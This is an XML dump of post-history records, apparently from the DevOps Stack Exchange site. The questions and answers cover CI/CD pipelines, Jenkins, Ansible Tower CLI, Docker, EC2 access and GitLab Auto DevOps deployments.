  <row Id="13229" PostHistoryTypeId="2" PostId="4219" RevisionGUID="877ec60c-4c35-48c9-9a3e-f7e635d51774" CreationDate="2018-06-01T15:31:31.437" UserId="2845" Text="&gt; start using it if you fail, you can select another technology&#xD;&#xA;&#xD;&#xA;This approach has two major drawbacks:&#xD;&#xA;&#xD;&#xA; 1. [Technical debt](https://en.wikipedia.org/wiki/Technical_debt)&#xD;&#xA;&#xD;&#xA;    While it may be tempting to apply &quot;fail fast&quot; mentality to architecture and design, skipping or abbreviating the design phase would be a mistake. [fast-fail](https://en.wikipedia.org/wiki/Fail-fast) should be used in conjunction with good design practices, not in lieu of them. Making hasty decisions can often result in poorly scaled solutions. While [using MySQL seems like a good idea when you are working with a 100mb database to generate reports, it scales poorly into the terabyt range for doing your archival reports](https://devops.stackexchange.com/a/1220/2845).&#xD;&#xA;    Using DNSMasq to run an overlapping DNS Zone might seem like a good political decision at the time, migrating off of that and resolving the disparity to between your DNS Zone and the overlapping upstream zone a few years later turns into a nightmare.&#xD;&#xA;&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;&#xD;&#xA; 2. Expense&#xD;&#xA;&#xD;&#xA;    Technology can be expensive. Buying a solution only to discard it later cares with it hugely wastful expenses. But even more expensive is the time expended by personnel. Salaries are every companies' largest expense. Wasting time developing a solution only to discard it and develop a replacement is wildly inefficient.&#xD;&#xA;&#xD;&#xA;This however should not be construed to mean that [decision paralysis](https://xkcd.com/1801/) or analysis paralysis isn't a problem. It is! Fail-fast just isn't the best way to [combat it. There are other, much more tried and true ways to combat this without comprimising good design principles.](https://en.wikipedia.org/wiki/Analysis_paralysis#Preventing_and_overcoming)&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13230" PostHistoryTypeId="2" PostId="4220" RevisionGUID="d5530a21-459c-4461-9235-f28dba7c34c9" CreationDate="2018-06-01T15:41:07.963" UserId="8148" Text="In case someone else finds this question, I thought I'd mention Favorites. You can mark certain jobs as favorites, and then have those jobs appear on your &quot;My Bamboo&quot;-page.&#xD;&#xA;That's obviously just *one* group, but still it might help." ContentLicense="CC BY-SA 4.0" />
  <row Id="13231" PostHistoryTypeId="2" PostId="4221" RevisionGUID="32512148-d88e-4572-b0d9-fbed1ebbf58d" CreationDate="2018-06-01T17:22:42.630" UserId="8142" Text="Some thoughts:&#xD;&#xA;&#xD;&#xA;1. You do not have to clone the entire project.  https://stackoverflow.com/questions/2466735/how-to-checkout-only-one-file-from-git-repository-sparse-checkout?utm_medium=organic&amp;utm_source=google_rich_qa&amp;utm_campaign=google_rich_qa discusses how to checkout a single file.  I have also had good results using curl to get single files off github.&#xD;&#xA;2. You can containerize it.  Like this &#xD;&#xA;&#xD;&#xA;&gt;     FROM docker/compose:1.21.2&#xD;&#xA;&gt;     RUN mkdir /src&#xD;&#xA;&gt;     WORKDIR /src&#xD;&#xA;&gt;     COPY docker-compose.yml /src/docker-compose.yml&#xD;&#xA;&gt;     ENTRYPOINT [&quot;docker-compose&quot;]&#xD;&#xA;&gt;     CMD []&#xD;&#xA;&#xD;&#xA;You can containerize docker-compose just like any other application.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13232" PostHistoryTypeId="2" PostId="4222" RevisionGUID="897204ad-b8f5-4643-a50f-4e417d1d38a6" CreationDate="2018-06-01T17:51:07.110" UserId="8154" Text="I am new to the whole DevOps process.&#xD;&#xA;&#xD;&#xA;As a software developer with some experience in building single-page applications (SPAs) using Webpack which already takes care of the unit checks, code validation, etc, how does a SPA development process fit into the DevOps workflow/pipeline? &#xD;&#xA;&#xD;&#xA;Do you do all the code checks on the client-side and then push compiled code into the pipeline process via a `Static` buildpack (ie, `/dist` folder) or do I push my `build` files into Git with a Jenkins file for CI/CD and then go through the pipeline with a server-side `NodeJS` buildpack? &#xD;&#xA;&#xD;&#xA;I am wondering how much work needs to be done locally before going through the pipeline. I don't like the idea of having extra dependencies to rely on (it seems there are always issues on the server side preventing apps from getting deployed -- outdated buildpacks, errors in servers, downtimes, etc). I wonder if simply offloading all that to the client side is a good way to get an app out quicker (just push the static files via a Static buildpack).&#xD;&#xA;&#xD;&#xA;Thanks" ContentLicense="CC BY-SA 4.0" />
  <row Id="13233" PostHistoryTypeId="1" PostId="4222" RevisionGUID="897204ad-b8f5-4643-a50f-4e417d1d38a6" CreationDate="2018-06-01T17:51:07.110" UserId="8154" Text="Single Page Apps and DevOps Pipeline?" ContentLicense="CC BY-SA 4.0" />
  <row Id="13234" PostHistoryTypeId="3" PostId="4222" RevisionGUID="897204ad-b8f5-4643-a50f-4e417d1d38a6" CreationDate="2018-06-01T17:51:07.110" UserId="8154" Text="&lt;node.js&gt;&lt;javascript&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13235" PostHistoryTypeId="2" PostId="4223" RevisionGUID="89fbfc17-02da-4a26-9770-e3e7b4831277" CreationDate="2018-06-01T19:09:50.007" UserId="8155" Text="I have a control host that has the following:&#xD;&#xA;&#xD;&#xA; - ansible --version = 2.5.2&#xD;&#xA; - tower-cli --version == 3.3.0&#xD;&#xA;&#xD;&#xA;tower-cli is able to connect to a remote Ansible Tower instance (note, Ansible tower itself is not installed on this control host).  Can run 'tower-cli user list' on control host and works as expected.&#xD;&#xA;&#xD;&#xA;However, when I try to use a playbook with the tower_* modules, such as:&#xD;&#xA;&#xD;&#xA;      tasks:&#xD;&#xA;      - name: create the SCM project&#xD;&#xA;        tower_project:&#xD;&#xA;          name: &quot;test project&quot;&#xD;&#xA;          state: present&#xD;&#xA;          ...&#xD;&#xA;&#xD;&#xA;Always getting the following:&#xD;&#xA;&#xD;&#xA;&gt; ansible-tower-cli required for this module&#xD;&#xA;&#xD;&#xA;Any ideas, as I can use tower-cli just fine on this localhost that is running the playbook.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13236" PostHistoryTypeId="1" PostId="4223" RevisionGUID="89fbfc17-02da-4a26-9770-e3e7b4831277" CreationDate="2018-06-01T19:09:50.007" UserId="8155" Text="ansible tower_project module, always getting &quot;ansible-tower-cli required for this module&quot;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13237" PostHistoryTypeId="3" PostId="4223" RevisionGUID="89fbfc17-02da-4a26-9770-e3e7b4831277" CreationDate="2018-06-01T19:09:50.007" UserId="8155" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13238" PostHistoryTypeId="2" PostId="4224" RevisionGUID="26fcad29-ee23-4521-89c3-6056c4f7b110" CreationDate="2018-06-01T19:20:01.820" UserId="4883" Text="Is there any way through which I can connect to all ec2-instances one by one through Python script to extract some server information from there. Please note that all ec2-instances lies behind a bastion host. Using shell script I can do that but how about python. Is there any specific library?" ContentLicense="CC BY-SA 4.0" />
  <row Id="13239" PostHistoryTypeId="1" PostId="4224" RevisionGUID="26fcad29-ee23-4521-89c3-6056c4f7b110" CreationDate="2018-06-01T19:20:01.820" UserId="4883" Text="Way to Connect to all ec2-instances one by one" ContentLicense="CC BY-SA 4.0" />
  <row Id="13240" PostHistoryTypeId="3" PostId="4224" RevisionGUID="26fcad29-ee23-4521-89c3-6056c4f7b110" CreationDate="2018-06-01T19:20:01.820" UserId="4883" Text="&lt;amazon-web-services&gt;&lt;amazon-ec2&gt;&lt;python&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13241" PostHistoryTypeId="50" PostId="1877" RevisionGUID="a93b58ef-38ac-4b5f-b6a9-65cf67719214" CreationDate="2018-06-01T19:53:36.623" UserId="-1" />
  <row Id="13242" PostHistoryTypeId="2" PostId="4225" RevisionGUID="e5f57fb5-927a-4742-b452-86b576e03d9a" CreationDate="2018-06-01T21:07:17.903" UserId="8156" Text="I am using the Build User Vars Plugin (https://wiki.jenkins.io/display/JENKINS/Build+User+Vars+Plugin) which sets various variables in the pipeline. Here is what I am currently trying:&#xD;&#xA;&#xD;&#xA;    wrap([$class: 'BuildUser']) {&#xD;&#xA;        def safeBuildUser = binding.hasVariable('BUILD_USER') ? BUILD_USER : &quot;unknown&quot;&#xD;&#xA;        echo &quot;${safeBuildUser}&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;There are times when the plugin does not set the variable. For instance, when the build was launched by an SCM branch scan. When that happened, I received: &#xD;&#xA;&#xD;&#xA;    groovy.lang.MissingPropertyException: No such property: BUILD_USER for class: groovy.lang.Binding&#xD;&#xA;&#xD;&#xA;Using `binding.hasVariable` does not appear to work because all of the builds now show &quot;unknown&quot; " ContentLicense="CC BY-SA 4.0" />
  <row Id="13243" PostHistoryTypeId="1" PostId="4225" RevisionGUID="e5f57fb5-927a-4742-b452-86b576e03d9a" CreationDate="2018-06-01T21:07:17.903" UserId="8156" Text="How to test whether a variable exists in the declarative pipeline" ContentLicense="CC BY-SA 4.0" />
  <row Id="13244" PostHistoryTypeId="3" PostId="4225" RevisionGUID="e5f57fb5-927a-4742-b452-86b576e03d9a" CreationDate="2018-06-01T21:07:17.903" UserId="8156" Text="&lt;jenkins-pipeline&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13245" PostHistoryTypeId="2" PostId="4226" RevisionGUID="8487bf40-7255-4f3c-917d-6f9ef6ae9c6c" CreationDate="2018-06-01T21:27:02.510" UserId="8155" Text="Found the origin of the issue, and unless someone else had run into it they wouldn't have known where to look --&#xD;&#xA;&#xD;&#xA;check details of 'tower-cli --version' and 'ansible --version', as well as 'which tower-cli' 'which ansible';  in my case were installed in *different* python environments:&#xD;&#xA;&#xD;&#xA;&gt; /usr/lib/python**2.6**/site-packages/ansible&#xD;&#xA;&#xD;&#xA;&gt; /usr/lib/python**3.4**/site-packages/tower_cli&#xD;&#xA;&#xD;&#xA;The ansible modules couldn't see the tower_cli python modules as they were in a different python environment.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;After-the-fact problem origin:  I had installed **ansible via yum** (package manager), and **ansible-tower-cli via pip** (python installer).  Being consistent in how you install both to make sure they go to the same environment resolves the issue.&#xD;&#xA;&#xD;&#xA;&gt;Centos/RHEL: yum install ansible ansible-tower-cli&#xD;&#xA;&#xD;&#xA;-OR-&#xD;&#xA;&#xD;&#xA;&gt;Python:  pip install ansible&#xD;&#xA;&#xD;&#xA;&gt;Python:  pip install ansible-tower-cli&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13251" PostHistoryTypeId="50" PostId="3859" RevisionGUID="abc4ab65-8265-4566-be8e-d180062c4516" CreationDate="2018-06-02T02:57:38.967" UserId="-1" />
  <row Id="13252" PostHistoryTypeId="5" PostId="4225" RevisionGUID="abafb494-991e-40b1-aa7f-ea03ce188044" CreationDate="2018-06-02T06:44:16.403" UserId="6375" Comment="Format content and adding a tag" Text="I am using the Build User Vars [Plugin][1] which sets various variables in the pipeline. Here is what I am currently trying:&#xD;&#xA;&#xD;&#xA;    wrap([$class: 'BuildUser']) {&#xD;&#xA;        def safeBuildUser = binding.hasVariable('BUILD_USER') ? BUILD_USER : &quot;unknown&quot;&#xD;&#xA;        echo &quot;${safeBuildUser}&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;There are times when the plugin does not set the variable. For instance, when the build was launched by an SCM branch scan. When that happened, I received: &#xD;&#xA;&#xD;&#xA;    groovy.lang.MissingPropertyException: No such property: BUILD_USER for class: groovy.lang.Binding&#xD;&#xA;&#xD;&#xA;Using `binding.hasVariable` does not appear to work because all of the builds now show &quot;unknown&quot; &#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins.io/display/JENKINS/Build+User+Vars+Plugin" ContentLicense="CC BY-SA 4.0" />
  <row Id="13253" PostHistoryTypeId="6" PostId="4225" RevisionGUID="abafb494-991e-40b1-aa7f-ea03ce188044" CreationDate="2018-06-02T06:44:16.403" UserId="6375" Comment="Format content and adding a tag" Text="&lt;jenkins-pipeline&gt;&lt;jenkins-plugins&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13254" PostHistoryTypeId="24" PostId="4225" RevisionGUID="abafb494-991e-40b1-aa7f-ea03ce188044" CreationDate="2018-06-02T06:44:16.403" Comment="Proposed by 6375 approved by -1 edit id of 705" ContentLicense="CC BY-SA 4.0" />
  <row Id="13255" PostHistoryTypeId="5" PostId="4225" RevisionGUID="ad8e4e4c-c569-46da-a038-d5bf54216893" CreationDate="2018-06-02T06:44:16.403" UserId="40" Comment="Format content and adding a tag" Text="I am using the Build User Vars [Plugin][1] which sets various variables in the pipeline. Here is what I am currently trying:&#xD;&#xA;&#xD;&#xA;    wrap([$class: 'BuildUser']) {&#xD;&#xA;        def safeBuildUser = binding.hasVariable('BUILD_USER') ? BUILD_USER : &quot;unknown&quot;&#xD;&#xA;        echo &quot;${safeBuildUser}&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;There are times when the plugin does not set the variable. For instance, when the build was launched by an SCM branch scan. When that happens, I receive: &#xD;&#xA;&#xD;&#xA;    groovy.lang.MissingPropertyException: No such property: BUILD_USER for class: groovy.lang.Binding&#xD;&#xA;&#xD;&#xA;Using `binding.hasVariable` does not appear to work because all of the builds now show &quot;unknown&quot;.&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins.io/display/JENKINS/Build+User+Vars+Plugin" ContentLicense="CC BY-SA 4.0" />
  <row Id="13256" PostHistoryTypeId="50" PostId="1088" RevisionGUID="02115dc6-4244-4ec9-a270-0c98b99b10f8" CreationDate="2018-06-02T16:00:30.877" UserId="-1" />
  <row Id="13257" PostHistoryTypeId="2" PostId="4228" RevisionGUID="bece0236-29b8-4257-b819-6935e41e81da" CreationDate="2018-06-02T17:04:34.830" UserId="8163" Text="I'm guessing this question will seem incredibly trivial for some readers, but as someone who is a developer but with little experience of deploying apps in anything other than a manual, hit and hope sort of a way, I hope you will understand that it's quite daunting to see the number of different approaches and tools there are, so I could do with a bit of advice to get me started in the right direction.&#xD;&#xA;&#xD;&#xA;I am a developer, now only in my spare time, which is limited.  Up to now I have worked with Java, building webapps, and have been reasonably happy with deploying a war file to a Tomcat environment which keeps things nicely encapsulated.&#xD;&#xA;&#xD;&#xA;I am now working in Python and Django, but as I get closer to the point where I need to deploy, I want to set up a solid devops workflow to automate as much as I can and ensure I can deploy reliably, but given that my use case is relatively simple, I want to avoid learning a big fat toolset which is over-engineered for my needs and which requires a big investment of time I would rather use coding my app.&#xD;&#xA;&#xD;&#xA;So I am looking for a middle ground which allows me reliably to deploy and manage my app(s) without investing a huge amount of time setting up and learning a big devops ecosystem.&#xD;&#xA;&#xD;&#xA;Some more details...&#xD;&#xA;&#xD;&#xA;### Context ###&#xD;&#xA;&#xD;&#xA;1. I develop on a Mac, using PyCharm to build Django 2, Python 3.&#xD;&#xA;1. I use git (but not on github) to manage software versioning.&#xD;&#xA;1. I am comfortable with other languages and scripting languages and have written a few (probably fairly amateurish) bash scripts, although I don't enjoy bash.  I've also dabbled with Perl, which I realised isn't really a language for dabbling (i.e. you need to spend time learning it properly)&#xD;&#xA;1. I intend to deploy on a VPS environment, probably DigitalOcean.&#xD;&#xA;1. My app isn't mission critical but it is important that I know if the site goes down, and need to have a way of reliably recovering if it does, whether this be restarting the app, restarting the server, or moving to another server (or other).&#xD;&#xA;&#xD;&#xA;### Specific Requirements ###&#xD;&#xA;&#xD;&#xA;1. Ability to set up a new environment to receive the app.&#xD;&#xA;&#xD;&#xA;    Up to now while I am learning, this has been manual, and every time I have done it I have started from scratch with a new Droplet.  I would like this to be much simpler (automated) so that if I have to set up a new environment in an emergency I can do so reliably.&#xD;&#xA;&#xD;&#xA;2. Ability to deploy the app to a staging environment which is as identical to the live as possible, ideally as an automated process triggered by a git push using a continuous integration approach (which I have never done before).&#xD;&#xA;&#xD;&#xA;3. Ability to &quot;press the button&quot; when I am happy with the app in the staging environment to push to a live environment ideally automatically.&#xD;&#xA;&#xD;&#xA;4. Way to monitor the site (just a poll to a page will do)&#xD;&#xA;&#xD;&#xA;5. Way to switch live site to another server if I need to recover from an app or server failure on the live site.  I think maybe a Blue-Green approach would work for me?&#xD;&#xA;&#xD;&#xA;### What have I tried or considered? ###&#xD;&#xA;&#xD;&#xA;- Manual set up of live environment with Django app, then manually copy new codebase to it when there is a change.  This feels prone to human error and I fear making a mistake in a deploy causing an un-recoverable failure.&#xD;&#xA;&#xD;&#xA;- Docker.  I admit when I found out about Docker it seemed like a dream come true but after a bit of experimenting and research I am daunted by how much I need to learn and know to get this up and running and to manage it.  It may be that this is worth it because once it's working it is very low risk but at the moment it feels like a larger investment of my time than I am hoping for.&#xD;&#xA;&#xD;&#xA;- Bash scripts. Use them to set up the original environment and for specific tasks like updating the app.  My worry about this is that the scripts will be code which needs testing and I fear it would take a lot of time to build a reliable toolset this way.&#xD;&#xA;&#xD;&#xA;- I've looked at Digital Ocean's options for floating IP addresses and the ability to have two servers for a &quot;blue green&quot; approach which seems quite sensible.  If I go this route I still need to be able to automate the deployment.&#xD;&#xA;&#xD;&#xA;So... I am looking for advice on a devops approach which finds the right balance between minimising risk (e.g. the risk of breaking the live app with an update, or the risk of being unable to recover from a failure) and minimising the time investment I need to make to set up the environments and workflow." ContentLicense="CC BY-SA 4.0" />
  <row Id="13258" PostHistoryTypeId="1" PostId="4228" RevisionGUID="bece0236-29b8-4257-b819-6935e41e81da" CreationDate="2018-06-02T17:04:34.830" UserId="8163" Text="What's a good devops approach for a single developer writing python web applications?" ContentLicense="CC BY-SA 4.0" />
  <row Id="13259" PostHistoryTypeId="3" PostId="4228" RevisionGUID="bece0236-29b8-4257-b819-6935e41e81da" CreationDate="2018-06-02T17:04:34.830" UserId="8163" Text="&lt;continuous-integration&gt;&lt;git&gt;&lt;python&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13260" PostHistoryTypeId="50" PostId="4044" RevisionGUID="96b19efe-1cbc-4e6c-8431-fd49880ad949" CreationDate="2018-06-02T18:00:50.267" UserId="-1" />
  <row Id="13261" PostHistoryTypeId="2" PostId="4229" RevisionGUID="243d767a-bf65-4358-a307-5a044c002780" CreationDate="2018-06-02T19:59:06.050" UserId="4175" Text="I am not familiar with Python development nor DigitalOcean, so I'll just offer a few pointers:&#xD;&#xA;&#xD;&#xA;* The goal is to automate. Everything. How you achieve that is really up to you, and creating your own tooling is not far-fetched, many do it that way. One concrete and pretty low(ish) hanging fruit is to get a git post-receive hook running which deploys and restarts your test environment. If you have that, the rest should be simple. &#xD;&#xA;* &quot;My worry about this is that the scripts will be code which needs testing&quot; - that worry is unfounded. You *are* testing those scripts every time you deploy to your test environment, after all. Especially coupled with a blue-green approach it will be fine to have bash scripts.&#xD;&#xA;* &quot;I don't enjoy bash.&quot; - then find another scripting language that you enjoy. Maybe try Ruby? The language and core libraries are very clean and well documented, and I'd say, rather easy to learn. Or, just for fun, Go(lang), which seems to be well-suited to devops tooling tasks. And finally, as you seem to like Python, you certainly can do installation tasks with that as well. From these, Go has the benefit that it creates standalone binaries and does not need a complex environment installed first, itself, so bootstrapping may be easier.&#xD;&#xA;* &quot;a staging environment which is as identical to the live as possible&quot; - if you have a script that spins up an environment from scratch, i.e. from a more or less empty base image, then your environments *will* be identical, save for deltas encoded in your script. That's the point of all of this.&#xD;&#xA;* &quot;Way to switch live site to another server&quot; - the only thing to ponder is what happens with your persistent data. I.e., you will want to make it so you can link your applications with different persistent volumes/stores on the fly, to be able to switch back and forth.&#xD;&#xA;* &quot;Docker - daunted&quot; - to be honest, it should not be that bad. If you know how to build an environment from scratch with command line tools (no GUI tools), then placing those in a Dockerfile should be rather easy. The worrisome details appear when it's time to tune (i.e., reduce image sizes), but apart from that it should not be too bad. First get it to work *somehow*, then find out how to make it beautiful. The good thing is that the knowledge you gain will transfer to lots of other environments.&#xD;&#xA;&#xD;&#xA;Good luck!" ContentLicense="CC BY-SA 4.0" />
  <row Id="13262" PostHistoryTypeId="2" PostId="4230" RevisionGUID="f217b4e7-e871-4920-a2e3-3cd64c0e2458" CreationDate="2018-06-02T20:00:47.847" UserId="4427" Text="Thanks for the great question. Nothing is really trivial the first time you do it and we all were new to something once. &#xD;&#xA;&#xD;&#xA;My first recommendation is to revisit docker. Try some different guides and tutorials. It's really simple. You have a docker file that gets &quot;built&quot;, literally just commands you want ran on the &quot;container&quot; or &quot;image&quot;. You push that image to a registry which can be public or private. You then run that image on a host machine. Docker is really important with node.js and python where you have lots of dependencies and it can really be hard to manage them sometimes. If you are using pip, and you should be, you can generate a requirments.txt file to feed to your docker container. &#xD;&#xA;&#xD;&#xA;Now you said you are using git, so I would use local git hooks. You can use these to build the docker container, run automated tests and then deploy your container. You can look up lots of different guides and tutorials on this subject.&#xD;&#xA;&#xD;&#xA;For managing your infrastructure I would you use Terraform. Terraform is great because you can spin up an environment on demand and delete it when done. My recommendation would be to start out simple and once you mastered docker and terraform you can try blue/green deployments. &#xD;&#xA;&#xD;&#xA;Now if you are using Gitlab or willing to switch, it also offers a free ci/cd service. This includes so many cool features and is really easy to use. I use it personally for all my apps. You could completely skip the local git hooks and test in the gitlab pipeline or keep them for testing each commit locally and using gitlab to build and deploy. &#xD;&#xA;&#xD;&#xA;I hope this was somewhat helpful." ContentLicense="CC BY-SA 4.0" />
  <row Id="13263" PostHistoryTypeId="5" PostId="4230" RevisionGUID="f9f1e9c5-082b-4a2e-bc09-6ccadf8ffd73" CreationDate="2018-06-03T05:27:20.193" UserId="47" Comment="fix typo" Text="Thanks for the great question. Nothing is really trivial the first time you do it and we all were new to something once. &#xD;&#xA;&#xD;&#xA;My first recommendation is to revisit docker. Try some different guides and tutorials. It's really simple. You have a docker file that gets &quot;built&quot;, literally just commands you want ran on the &quot;container&quot; or &quot;image&quot;. You push that image to a registry which can be public or private. You then run that image on a host machine. Docker is really important with node.js and python where you have lots of dependencies and it can really be hard to manage them sometimes. If you are using pip, and you should be, you can generate a `requirements.txt` file to feed to your docker container. &#xD;&#xA;&#xD;&#xA;Now you said you are using git, so I would use local git hooks. You can use these to build the docker container, run automated tests and then deploy your container. You can look up lots of different guides and tutorials on this subject.&#xD;&#xA;&#xD;&#xA;For managing your infrastructure I would you use Terraform. Terraform is great because you can spin up an environment on demand and delete it when done. My recommendation would be to start out simple and once you mastered docker and terraform you can try blue/green deployments. &#xD;&#xA;&#xD;&#xA;Now if you are using Gitlab or willing to switch, it also offers a free ci/cd service. This includes so many cool features and is really easy to use. I use it personally for all my apps. You could completely skip the local git hooks and test in the gitlab pipeline or keep them for testing each commit locally and using gitlab to build and deploy. &#xD;&#xA;&#xD;&#xA;I hope this was somewhat helpful." ContentLicense="CC BY-SA 4.0" />
  <row Id="13268" PostHistoryTypeId="2" PostId="4232" RevisionGUID="13d9f566-60ad-4491-898b-88efe53cab8b" CreationDate="2018-06-03T15:37:02.453" UserId="8164" Text="**Background:**&#xD;&#xA;I've recently started at a company and I've bee tasked to essentially modernize the development team/dept. Currently the problems are:&#xD;&#xA;&#xD;&#xA; - Developers currently develop on a live site.&#xD;&#xA; - Sites are backed up but they have no source control.&#xD;&#xA; - No staging process (dev, QA, UAT, live).&#xD;&#xA; - No automated build process.&#xD;&#xA; - No SDLC.&#xD;&#xA; - Minimal (if any) documentation.&#xD;&#xA; - Sites use different technologies.&#xD;&#xA; - Timelines are insane because of huge development delays.&#xD;&#xA; - Development team aren't aware of common tools that can assist with debugging/development.&#xD;&#xA;&#xD;&#xA;**The plan**&#xD;&#xA;My thoughts so far are (in no specific order):&#xD;&#xA;&#xD;&#xA; - Bring all projects up to using the same technologies.&#xD;&#xA;&#xD;&#xA; - Throw all active projects into source control.&#xD;&#xA;&#xD;&#xA; - Implement staging so that we have Dev, QA, UAT and Live.&#xD;&#xA;&#xD;&#xA; - Implement CI/CD&#xD;&#xA;&#xD;&#xA; - Introduce tooling and setup training for development team.&#xD;&#xA;&#xD;&#xA; - Implement coding standards.&#xD;&#xA;&#xD;&#xA; - Introduce a methodology more suited to how the team currently operates, most likely Agile or Scrum and the tools and documentation templates that go with it.&#xD;&#xA;&#xD;&#xA;**The Questions**&#xD;&#xA;&#xD;&#xA; - Have you been in this scenario before? How did you address and overcome these obstacles? How long did it take to implement? (as a rough idea)&#xD;&#xA;&#xD;&#xA; - How would you prioritize the tasks listed above?&#xD;&#xA;&#xD;&#xA; - What would you recommend I look into/research? (I'm particularly interested in terms of CI/CD and just how to negotiate such a huge task)&#xD;&#xA;&#xD;&#xA;I feel like I need a kind of Maslow's hierarchy of needs to get more of an idea of where/how to start and what to build up to.&#xD;&#xA;&#xD;&#xA;**Closing notes**&#xD;&#xA;Any resources, links, just a pooling of materials etc would be greatly appreciated.&#xD;&#xA;&#xD;&#xA;Sorry - I know this could be considered a vague question and would give an opinionated response but that would provide the most benefit to me since if I knew exactly the right questions to ask I wouldn't need help because I could use Google :)&#xD;&#xA;&#xD;&#xA;Thanks in advance." ContentLicense="CC BY-SA 4.0" />
  <row Id="13269" PostHistoryTypeId="1" PostId="4232" RevisionGUID="13d9f566-60ad-4491-898b-88efe53cab8b" CreationDate="2018-06-03T15:37:02.453" UserId="8164" Text="Help! No development infrastructure in company! I've been tasked to implement it!" ContentLicense="CC BY-SA 4.0" />
  <row Id="13270" PostHistoryTypeId="3" PostId="4232" RevisionGUID="13d9f566-60ad-4491-898b-88efe53cab8b" CreationDate="2018-06-03T15:37:02.453" UserId="8164" Text="&lt;methodology&gt;&lt;startup&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13271" PostHistoryTypeId="5" PostId="4232" RevisionGUID="45414e7e-ccb4-4354-96ec-bbc786bdf0ed" CreationDate="2018-06-03T19:10:28.283" UserId="40" Comment="deleted 13 characters in body" Text="**Background:**&#xD;&#xA;I've recently started at a company and I've bee tasked to essentially modernize the development team/dept. Currently the problems are:&#xD;&#xA;&#xD;&#xA; - Developers currently develop on a live site.&#xD;&#xA; - Sites are backed up but they have no source control.&#xD;&#xA; - No staging process (dev, QA, UAT, live).&#xD;&#xA; - No automated build process.&#xD;&#xA; - No SDLC.&#xD;&#xA; - Minimal (if any) documentation.&#xD;&#xA; - Sites use different technologies.&#xD;&#xA; - Timelines are insane because of huge development delays.&#xD;&#xA; - Development team aren't aware of common tools that can assist with debugging/development.&#xD;&#xA;&#xD;&#xA;**The plan**&#xD;&#xA;My thoughts so far are (in no specific order):&#xD;&#xA;&#xD;&#xA; - Bring all projects up to using the same technologies.&#xD;&#xA;&#xD;&#xA; - Throw all active projects into source control.&#xD;&#xA;&#xD;&#xA; - Implement staging so that we have Dev, QA, UAT and Live.&#xD;&#xA;&#xD;&#xA; - Implement CI/CD&#xD;&#xA;&#xD;&#xA; - Introduce tooling and setup training for development team.&#xD;&#xA;&#xD;&#xA; - Implement coding standards.&#xD;&#xA;&#xD;&#xA; - Introduce a methodology more suited to how the team currently operates, most likely Agile or Scrum and the tools and documentation templates that go with it.&#xD;&#xA;&#xD;&#xA;**The Questions**&#xD;&#xA;&#xD;&#xA; - Have you been in this scenario before? How did you address and overcome these obstacles? How long did it take to implement? (as a rough idea)&#xD;&#xA;&#xD;&#xA; - How would you prioritize the tasks listed above?&#xD;&#xA;&#xD;&#xA; - What would you recommend I look into/research? (I'm particularly interested in terms of CI/CD and just how to negotiate such a huge task)&#xD;&#xA;&#xD;&#xA;I feel like I need a kind of Maslow's hierarchy of needs to get more of an idea of where/how to start and what to build up to.&#xD;&#xA;&#xD;&#xA;**Closing notes**&#xD;&#xA;Any resources, links, just a pooling of materials, etc. would be greatly appreciated.&#xD;&#xA;&#xD;&#xA;Sorry - I know this could be considered a vague question and would give an opinionated response but that would provide the most benefit to me since if I knew exactly the right questions to ask I wouldn't need help because I could use a search engine." ContentLicense="CC BY-SA 4.0" />
  <row Id="13275" PostHistoryTypeId="2" PostId="4234" RevisionGUID="a55b38ca-23e4-4bd5-868d-5392dc0a44de" CreationDate="2018-06-03T21:44:52.170" UserId="8173" Text="Recently, GitLab partnered up with Google Cloud to provide automatic deployment to Kubernetes clusters directly from project repos.&#xD;&#xA;&#xD;&#xA;I enabled Auto Dev-Ops on my project, which just contains some Node.js and a Dockerfile, and as if by magic, I have a working deployment (after figuring out that I needed to make sure the exposed port was 5000 rather than anything else!)&#xD;&#xA;&#xD;&#xA;But now I need to add some persistent storage to this. I'm aware of how to do this with pure Kubernetes, but I'm struggling to find out how to do this as part of my continuous deployment.&#xD;&#xA;&#xD;&#xA;GitLab uses [this script][1] for Auto Dev-Ops, and I presume I might need to fork this to make my own `.gitlab-ci.yml` to add the custom volume, but I just cannot see anywhere in which this could be done.&#xD;&#xA;&#xD;&#xA;The only other option I can work out is to use the provided PostgreSQL installation which *does* have a persistent volume to store my data, but this would just be skirting around the basic issue.&#xD;&#xA;&#xD;&#xA;Do I need a custom buildpack? Do I just do it via the Google Cloud Dashboard?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/gitlabhq/gitlabhq/blob/master/vendor/gitlab-ci-yml/Auto-DevOps.gitlab-ci.yml" ContentLicense="CC BY-SA 4.0" />
  <row Id="13276" PostHistoryTypeId="1" PostId="4234" RevisionGUID="a55b38ca-23e4-4bd5-868d-5392dc0a44de" CreationDate="2018-06-03T21:44:52.170" UserId="8173" Text="Adding a persistent volume to a Kubernetes deployment from Gitlab Auto Dev-ops" ContentLicense="CC BY-SA 4.0" />
  <row Id="13277" PostHistoryTypeId="3" PostId="4234" RevisionGUID="a55b38ca-23e4-4bd5-868d-5392dc0a44de" CreationDate="2018-06-03T21:44:52.170" UserId="8173" Text="&lt;docker&gt;&lt;kubernetes&gt;&lt;gitlab&gt;&lt;gitlab-ci-runner&gt;" ContentLicense="CC BY-SA 4.0" />
